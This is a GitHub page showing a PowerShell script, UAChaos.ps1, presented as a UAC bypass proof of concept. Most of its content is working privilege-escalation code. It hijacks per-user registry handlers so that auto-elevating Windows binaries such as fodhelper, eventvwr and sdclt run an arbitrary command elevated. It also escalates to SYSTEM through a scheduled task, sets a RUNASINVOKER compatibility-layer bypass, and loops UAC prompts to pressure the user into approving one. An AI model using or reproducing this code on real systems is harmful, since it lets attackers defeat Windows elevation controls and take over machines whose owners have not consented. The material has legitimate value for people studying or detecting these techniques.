-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathUAChaos.ps1
More file actions
297 lines (251 loc) · 10.5 KB
/
UAChaos.ps1
File metadata and controls
297 lines (251 loc) · 10.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
<#
.SYNOPSIS
UAC Bypass PoC Script with Multiple Methods Alpha Version with SYSTEM User-getter
.DESCRIPTION
This script attempts various known UAC bypass Methods on Windows.
It supports executing either a single Method or all sequentially until one succeeds.
With the GetSystem flag you also can start a SYSTEM process.
UAC Bombing with proxing LOLBAS commands also available.
Extra Info:
For foreground the cmd window in SYSTEM Mode you can use the MSDT ServiceUI.exe:
query user
# Get Session ID i.e. 2
# Run:
.\UAChaos.ps1 -Method computerdefaults -Command "W:\ServiceUI.exe -session:2 C:\Windows\System32\cmd.exe" -GetSystem
.EXAMPLE
.\UAChaos.ps1 -Method computerdefaults -Command "calc.exe"
.\UAChaos.ps1 -Method fodhelper -Command "cmd.exe /c "start cmd.exe" -GetSystem
.\UAChaos.ps1 -UACBombing -Command "W:\IA\Setup.exe"
.NOTES
Autor: suuhm
Github: https://github.com/suuhm
.PARAMETER Method
Method name to attempt.
Valid values: fodhelper, eventvwr, computerdefaults, sdclt, wsreset, mmc, eudcedit, netplwiz, all
.PARAMETER Command
Command to run elevated (default: cmd.exe)
.PARAMETER GetSystem
Optional Command if you wish to start process as SYSTEM.
.PARAMETER RunAsInvoker
Optional Command if you wish to bypass UAC for common lowlevel tools.
.PARAMETER UACBombing
Optional File (C:\Temp\Payload.exe) NO Command yet if you wish to start UAC Prompt Bombing.
#>
param(
[Parameter(Mandatory=$false)]
[ValidateSet("fodhelper", "eventvwr", "computerdefaults", "sdclt", "wsreset", "mmc", "eudcedit", "netplwiz", "all")]
[string]$Method,
[Parameter(Mandatory=$false)]
[string]$Command = "cmd.exe",
[Parameter(Mandatory=$false)]
[switch]$GetSystem,
[Parameter(Mandatory=$false)]
[switch]$RunAsInvoker,
[Parameter(Mandatory=$false)]
[switch]$UACBombing
)
function Show-Banner {
$banner = @"
__ __ ______ ______ __
| \ | \ / \ / \ | \
| `$`$ | `$`$| `$`$`$`$`$`$\| `$`$`$`$`$`$\| `$`$____ ______ ______ _______
| `$`$ | `$`$| `$`$__| `$`$| `$`$ \`$`$| `$`$ \ | \ / \ / \
| `$`$ | `$`$| `$`$ `$`$| `$`$ | `$`$`$`$`$`$`$\ \`$`$`$`$`$`$\| `$`$`$`$`$`$\| `$`$`$`$`$`$`$
| `$`$ | `$`$| `$`$`$`$`$`$`$`$| `$`$ __ | `$`$ | `$`$ / `$`$| `$`$ | `$`$ \`$`$ \
| `$`$__/ `$`$| `$`$ | `$`$| `$`$__/ \| `$`$ | `$`$| `$`$`$`$`$`$`$| `$`$__/ `$`$ _\`$`$`$`$`$`$\
\`$`$ `$`$| `$`$ | `$`$ \`$`$ `$`$| `$`$ | `$`$ \`$`$ `$`$ \`$`$ `$`$| `$`$
\`$`$`$`$`$`$ \`$`$ \`$`$ \`$`$`$`$`$`$ \`$`$ \`$`$ \`$`$`$`$`$`$`$ \`$`$`$`$`$`$ \`$`$`$`$`$`$`$
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UAC Bypass Testing — UAChaos v.0.1a (c) 2025 by suuhm
"@
Write-Host $banner -ForegroundColor Red -BackgroundColor Black
}
function Invoke-GetSystem {
param([string]$Cmd)
# Creating schedule Tasks to become SYSTEM, also SC Service creation or PSExec.exe etc. possible.
$Cmd = "cmd.exe /c `"schtasks /create /tn WinSystemCmd /tr `"$Cmd`" /sc onlogon /ru SYSTEM /f && schtasks /run /tn WinSystemCmd`""
#
# Fallback:
# Edge SCHEDTASK Hijacking:
# $Cmd = "cmd.exe /c `"copy /Y `"C:\Windows\System32\cmd.exe`" `"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe`"`""
return $Cmd
}
function Invoke-RunAsInvoker {
param([string]$Cmd)
# RAI Bypass Fallback
$env:__COMPAT_LAYER = "RUNASINVOKER"
Start-Process $Cmd
}
function Invoke-UACBombing {
param([string]$Cmd)
#
# UAC-Prompt-Bombing PoC
#
Write-Error "" -ErrorAction SilentlyContinue
# Dbg returned Errorlevel
# echo $?
while (-not $?) {
try{
Start-Process -Verb RunAs wlrmdr.exe -ArgumentList "-s 3600 -f 0 -t _ -m _ -a 11 -u $Cmd"
# Start-Process -Verb RunAs wt.exe -ArgumentList "cmd /c `"$Cmd`""
} catch {
Write-Error "" -ErrorAction SilentlyContinue
}
}
}
function Cleanup-Registry {
param([string]$path)
try {
if (Test-Path -Path $path) {
Remove-Item -Path $path -Recurse -Force -ErrorAction SilentlyContinue
}
} catch {
Write-Warning "Cleanup failed for $path : $_"
}
}
function Invoke-Fodhelper {
Write-Host "`n [+] Trying fodhelper.exe Method..."
$reg1 = "HKCU:\Software\Classes\qUACkery\Shell\Open\Command"
$reg2 = "HKCU:\Software\Classes\MS-Settings"
New-Item -Path $reg1 -Force | Out-Null
Set-ItemProperty -Path $reg1 -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg1 -Name "DelegateExecute" -Value "" -Force | Out-Null
New-Item -Path $reg2 -Force | Out-Null
Set-ItemProperty -Path $reg2 -Name "CurVer" -Value "qUACkery" -Force
Start-Process "fodhelper.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg1
Cleanup-Registry $reg2
}
function Invoke-Eventvwr {
Write-Host "`n [+] Trying eventvwr.exe Method..."
$reg = "HKCU:\Software\Classes\mscfile\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "eventvwr.exe"
Start-Sleep -Seconds 5
Cleanup-Registry "HKCU:\Software\Classes\mscfile"
}
function Invoke-ComputerDefaults {
Write-Host "`n [+] Trying ComputerDefaults.exe Method..."
$reg = "HKCU:\Software\Classes\ms-settings\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
Start-Sleep -Seconds 5
Cleanup-Registry "HKCU:\Software\Classes\ms-settings"
}
function Invoke-Sdclt {
Write-Host "`n [+] Trying sdclt.exe Method..."
$reg1 = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
$reg2 = "HKCU:\Software\Classes\exefile\shell\open\Command"
New-Item -Path $reg1 -Force | Out-Null
Set-ItemProperty -Path $reg1 -Name "(default)" -Value $Command -Force
New-Item -Path $reg2 -Force | Out-Null
Set-ItemProperty -Path $reg2 -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg2 -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
Start-Sleep -Seconds 5
#Remove-Item -Path $regPath -Recurse -Force
Cleanup-Registry $reg1
Cleanup-Registry $reg2
}
function Invoke-Wsreset {
Write-Host "`n [+] Trying WSReset.exe Method..."
$reg = "HKCU:\Software\Classes\WSReset\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "wsreset.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-Mmc {
Write-Host "`n [+] Trying mmc.exe Method..."
$reg = "HKCU:\Software\Classes\mscfile\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "mmc.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-Eudcedit {
Write-Host "`n [+] Trying eudcedit.exe Method..."
$reg = "HKCU:\Software\Classes\eudcedit\shell\open\command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "eudcedit.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-Netplwiz {
Write-Host "`n [+] Trying netplwiz.exe Method..."
$reg = "HKCU:\Software\Classes\netplwiz\shell\open\command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "netplwiz.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-AllMethods {
$Methods = @(
{ Invoke-Fodhelper },
{ Invoke-Eventvwr },
{ Invoke-ComputerDefaults },
{ Invoke-Sdclt },
{ Invoke-Wsreset },
{ Invoke-Mmc },
{ Invoke-Eudcedit },
{ Invoke-Netplwiz }
)
foreach ($MethodFunc in $Methods) {
try {
$MethodFunc.Invoke()
Start-Sleep -Seconds 10
} catch {
Write-Warning "`n [!] Method failed: $_"
}
}
}
#
# << MAIN
#
Show-Banner
if ($GetSystem) {
$Command = Invoke-GetSystem -Cmd $Command
Write-Host "`n [!] Running command ($Command) as NT\SYSTEM." -ForegroundColor DarkCyan
}
if ($RunAsInvoker) {
Invoke-RunAsInvoker -Cmd $Command
Write-Host "`n [!] Running RUNASINVOKER Bypass with command ($Command)" -ForegroundColor DarkCyan
}
if ($UACBombing) {
Invoke-UACBombing -Cmd $Command
Write-Host "`n [!] Running UAC Prompt Bombing Attack with command ($Command)" -ForegroundColor DarkCyan
}
if (-not $Method -and -not $RunAsInvoker -and -not $UACBombing) {
Write-Host "`n [!] Please specify a Method. Valid values are: fodhelper, eventvwr, computerdefaults, sdclt, wsreset, mmc, eudcedit, netplwiz, all." -ForegroundColor Yellow
exit
}
if ($Method) {
switch ($Method.ToLower()) {
"fodhelper" { Invoke-Fodhelper }
"eventvwr" { Invoke-Eventvwr }
"computerdefaults" { Invoke-ComputerDefaults }
"sdclt" { Invoke-Sdclt }
"wsreset" { Invoke-Wsreset }
"mmc" { Invoke-Mmc }
"eudcedit" { Invoke-Eudcedit }
"netplwiz" { Invoke-Netplwiz }
"all" { Invoke-AllMethods }
default {
Write-Host "`n [!] Unknown Method '$Method'. Valid values are: fodhelper, eventvwr, computerdefaults, sdclt, wsreset, mmc, eudcedit, netplwiz, all." -ForegroundColor Red
exit
}
}
}